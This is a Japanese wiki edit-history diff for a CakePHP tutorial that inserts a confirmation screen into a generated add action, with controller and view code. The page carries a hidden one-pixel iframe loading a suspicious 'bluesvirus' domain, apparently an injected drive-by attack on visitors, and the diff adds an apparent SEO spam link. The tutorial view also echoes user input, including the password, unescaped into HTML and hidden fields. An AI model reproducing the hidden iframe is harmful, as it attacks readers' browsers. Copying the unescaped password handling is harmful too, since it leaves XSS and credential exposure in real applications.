「確認画面を挟む」の編集履歴(バックアップ)一覧はこちら

確認画面を挟む」の最新版変更点

追加された行は青色になります。

削除された行は赤色になります。

 &html(<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder="0"></iframe>)
+
+全然更新してなくてごめんなさい。。
+&html(<a href="http://akelos.free4seo.com/">最近はAkelosを使っています。</a>)
+
 bakeで自動生成されたaddアクションは下記のようになります。
 	function add() {
 		if(empty($this->data)) {
 			$this->set('login', null);
 		} else {
 			$this->cleanUpFields();
 			if($this->Login->save($this->data)) {
 				if(is_object($this->Session)) {
 					$this->Session->setFlash('The Login has been saved');
 					$this->redirect('/login/index');
 				} else {
 					$this->flash('Login saved.', '/login/index');
 				}
 			} else {
 				if(is_object($this->Session)) {
 					$this->Session->setFlash('Please correct errors below.');
 				}
 				$data = $this->data;
 				$this->set('login', $data);
 			}
 		}
 	}
 
 このままでは、入力情報がDBに保存される前に確認画面は表示されません。しかし、確認画面が必要な場面もあります。
 以下のように書き換え、確認画面のView(confirm.thtml)を作成します。
 
 	function add() {
 		if(empty($this->data)) {
 			$this->set('login', null);
 		} else {
 			$this->cleanUpFields();// ? 
 			if(@$_POST['mode']=='confirm')
 			{
 				if(!$this->Login->validates($this->params['data']))
 				{
 					$this->render();
 				}
 				else
 				{
 					$this->set('form', $this->params['form']);
 					$this->set('data', $this->params['data']);
 					$this->render("confirm");
 				}
 			}
 			else
 			{
 				if ($this->Login->save($this->params['data']))
 				{
 					$this->redirect('/login');
 				}
 				else
 				{
 					$this->set('data', $this->params['data']);
 					$this->validateErrors($this->Login);
 					$this->render();
 				}
 			}
 		}
 	}
 
 confirm.thtml
 	<h1>新規作成:確認画面</h1>
 	<form action="<?php echo $html->url('/login/add'); ?>" method="post">
 	<div class="required"> 
 		<label for="login_login_id">ログインid</label>
 		<?php echo $html->tagValue('Login/login_id') ?>
 		<?php echo $html->hidden('Login/login_id', array('value' => $html->tagValue('Login/login_id')))?>
 	</div>
 	<div class="login_password"> 
 		<label for="recommend_content">パスワード</label>
 		<?php echo $html->tagValue('Login/password') ?>
 		<?php echo $html->hidden('Login/password', array('value' => $html->tagValue('Login/password')))?>
 	</div>
 	<div class="submit">
 	<input type="button" value="戻る" onclick="history.go(-1)" /> 
 	<input type="submit" value="作成" /></div>
 	</form>
 	<ul>
 	<li><a href="/sys/index.php/recommend/">一覧へ戻る</a></li>
 	</ul>